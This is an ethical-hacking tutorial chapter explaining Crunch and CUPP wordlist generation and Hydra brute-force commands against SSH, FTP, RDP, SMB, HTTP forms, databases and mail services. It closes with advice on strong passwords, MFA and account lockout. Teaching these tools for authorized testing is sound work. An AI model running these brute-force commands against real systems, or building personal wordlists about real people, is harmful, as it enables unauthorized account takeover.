

Chapter 10 – Password Wordlists, Crunch, CUPP & Hydra

Introduction to Password Attacks

In Ethical Hacking and Penetration Testing, attackers or security testers often try to check how strong a password is.

For this purpose, they use:

- Wordlists 
- Password generators 
- Brute-force tools 
- Dictionary attack tools 

These tools help:

- Audit password security
 - Test weak passwords
 - Check login security
 - Perform authorized penetration testing
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What is a Wordlist?

◆ Definition

A **Wordlist** is a plain text file containing a list of possible passwords.

Each password is written:

 **One password per line**

Example of Wordlist

admin
password123
india@123
welcome
qwerty

Why Wordlists Are Used?

Wordlists are used for:

- Password cracking
 - Dictionary attacks
 - Brute-force attacks
 - Security auditing
 - Penetration testing
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Common Tools That Use Wordlists

Tool	Purpose
John the Ripper	Password cracking
Hydra	Login brute forcing
Hashcat	GPU password cracking
Medusa	Login attacks
Ncrack	Network authentication cracking

Daily Life Example

Imagine a thief trying many keys  to open a lock.

A wordlist is like:

A big collection of possible keys

What is Crunch?

Definition

Crunch is a command-line tool in Kali Linux used to generate custom wordlists.

It can create:

- Simple passwords
 - Complex passwords
 - Pattern-based passwords
 - Large brute-force lists
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Why Crunch is Used?

Crunch helps generate passwords based on:

- Character sets
 - Password length
 - Patterns
 - Symbols
 - Numbers
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Crunch Basic Syntax

`crunch <min_length> <max_length> [options]`

Example

`crunch 4 6`

Explanation

This generates:

- Passwords from length 4 to 6
 - Using default lowercase letters
-

Example Output

```
aaaa  
aaab  
aaac  
...  
zzzzzz
```

1. Generate Lowercase Passwords

Command

```
crunch 4 6 abcdefghijklmnopqrstuvwxyz -o wordlist.txt
```

Breakdown

Part	Meaning
4 6	Minimum 4 and maximum 6 characters
abcdefghijklmnopqrstuvwxyz	Lowercase letters only
-o wordlist.txt	Save output to file

Use Case

Useful when:

- Target uses simple lowercase passwords
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Daily Life Example

Trying all combinations like:

- abcd
- test
- admin

2. Strong Password Wordlist

Command

crunch 6 8

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!

@# -o strong.txt

Breakdown

Part	Meaning
6 8	Password length 6–8
abc...	Lowercase + uppercase
1234567890	Numbers
!@#	Symbols
-o strong.txt	Save file

Purpose

Used when:

- Password policy requires strong passwords

Example Passwords

Abc@12

Admin#7

Test123

3. Using Built-in Character Sets

Command

```
crunch 6 6 -f /usr/share/crunch/charset.lst mixalpha-numeric -o mix.txt
```

Breakdown

Part	Meaning
6 6	Exact 6 characters
-f	Use predefined charset
mixalpha-numeric	Uppercase + lowercase + numbers
-o mix.txt	Save file

Common Built-in Charsets

Charset	Meaning
alpha	Lowercase
numeric	Numbers
mixalpha	Upper + lower
mixalpha-numeric	Letters + numbers
symbols	Special characters

4. Pattern-Based Wordlist

Command

```
crunch 8 8 -t @@11@@11 -o pattern.txt
```

Pattern Meaning

Symbol Meaning

@	Lowercase letter
,	Uppercase letter
%	Number
^	Symbol

Pattern Example

```
ab12cd34  
xy99az01
```

Use Case

Very useful when:

- You know password format

Example:

- Name + birth year
 - Company + numbers
-

Crunch Pattern Quick Reference

Symbol Meaning

@	Lowercase
,	Uppercase
%	Numbers
^	Symbols

Compress Huge Wordlists

Command

```
crunch 8 8 abc123 | gzip > wordlist.gz
```

Purpose

Large wordlists consume huge storage space.

Compression helps save disk space.

Pipe Crunch Output to Other Tools

Example

```
crunch 6 6 abc123 | john --stdin hashfile
```

Meaning

Crunch generates passwords and directly sends them to:

John the Ripper

without saving a file.

Pipe Directly into Hydra

Example

```
crunch 4 4 1234567890 | hydra -l admin -P - 192.168.1.10 ssh
```

Meaning

- Crunch generates passwords
 - Hydra immediately tests them on SSH
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What is CUPP?

- ◆ CUPP = Common User Passwords Profiler
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Definition

CUPP is a Python tool used to generate personalized wordlists based on target information.

Information CUPP Uses

- Name
 - Nickname
 - Birthdate
 - Pet name
 - Favorite sports
 - Important numbers
-

Why CUPP is Powerful?

Most users create passwords using personal information.

Examples:

- rahul123
- anish1995
- bruno777

CUPP automates this process.

Install CUPP

Commands

```
git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py
```

Run CUPP Interactive Mode

Command

```
python3 cupp.py -i
```

It Asks Questions Like

```
Enter name: anish
Nickname: ani
Birthdate: 27081995
Pet name: bruno
Favorite number: 777
```

Generated Password Examples

```
anish1995
ani777
bruno27
anishbruno777
```

CUPP Command Summary

Command	Purpose
<code>python3 cupp.py -i</code>	Interactive mode
<code>python3 cupp.py -h</code>	Help
<code>python3 cupp.py -v</code>	Version
<code>python3 cupp.py -l</code>	License

Daily Life Example

People often create passwords using:

- Pet names 
- Birth dates 
- Mobile numbers 

CUPP combines all these automatically.

What is Hydra?

◆ Definition

Hydra is a fast login brute-force tool.

It tries:

- Multiple usernames
- Multiple passwords

against login services.

Hydra Supports Many Protocols

Protocol Port

SSH	22
FTP	21
Telnet	23
HTTP	80
SMB	445
RDP	3389
MySQL	3306
VNC	5900

Hydra Basic Syntax

hydra -L usernames.txt -P passwords.txt <protocol>://<target_ip>

1. SSH Brute Force

Command

hydra -L users.txt -P pass.txt ssh://192.168.1.10

Breakdown

Option	Meaning
-L	Username file
-P	Password file
ssh://	SSH protocol
192.168.1.10	Target IP

Single User Example

```
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
```

2. FTP Brute Force

Command

```
hydra -L users.txt -P passwords.txt ftp://192.168.1.10
```

3. Telnet Attack

Command

```
hydra -L users.txt -P passwords.txt telnet://192.168.1.10
```

Why Telnet is Dangerous?

Telnet sends passwords:

In plain text

making it insecure.

4. HTTP Basic Authentication

Command

```
hydra -L users.txt -P pass.txt 192.168.1.10 http-get /admin
```

Purpose

Tests login popups using:

Authorization: Basic

5. HTTP POST Login Form Attack

Command

```
hydra -L users.txt -P pass.txt 192.168.1.10 http-post-form  
"/login.php:user=^USER^&pass=^PASS^:F=incorrect"
```

Format Explanation

/path:POST_DATA:FAILURE_MESSAGE

Meaning

Part	Meaning
^USER^	Username placeholder
^PASS^	Password placeholder
F=incorrect	Failure message

6. SMB Attack

Command

```
hydra -L users.txt -P pass.txt smb://192.168.1.10
```

7. RDP Attack

Command

```
hydra -L users.txt -P pass.txt rdp://192.168.1.10
```

8. MySQL Attack

Command

```
hydra -L users.txt -P pass.txt mysql://192.168.1.10
```



9. VNC Attack



Command

```
hydra -P pass.txt -t 4 192.168.1.10 vnc
```



10. Email Service Attacks



POP3

```
hydra -L users.txt -P pass.txt pop3://192.168.1.10
```



IMAP

```
hydra -L users.txt -P pass.txt imap://192.168.1.10
```



SMTP

```
hydra -L users.txt -P pass.txt smtp://192.168.1.10
```



Useful Hydra Options

Option Meaning

- l Single username
- L Username file
- p Single password
- P Password file
- t Threads
- f Stop after success

Option Meaning

-V Verbose mode

-o Save output

Example – Fast SSH Attack

Command

```
hydra -l root -P pass.txt -t 4 -f 192.168.1.10 ssh
```

Explanation

Option Purpose

-t 4 Use 4 threads

-f Stop after finding password

Daily Life Example

Hydra is like:

 Trying many keys rapidly on a door lock until one works.

Important Difference

Attack Type	Meaning
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Brute Force	Try all combinations
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Dictionary Attack	Use wordlist
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Hybrid Attack	Mix patterns + words
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Protection Against Password Attacks

Use Strong Passwords

Example:

T3ch@2026!Secure

Enable MFA / 2FA

Even if password leaks:

- Extra authentication protects account
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Account Lockout

Lock account after multiple failed attempts.

Avoid Personal Passwords

Don't use:

- Names
 - Birthdays
 - Pet names
-

Ethical Warning

These tools should ONLY be used for:

- Ethical hacking
- Labs
- Authorized penetration testing

Using them against real systems without permission is:  **Illegal and unethical**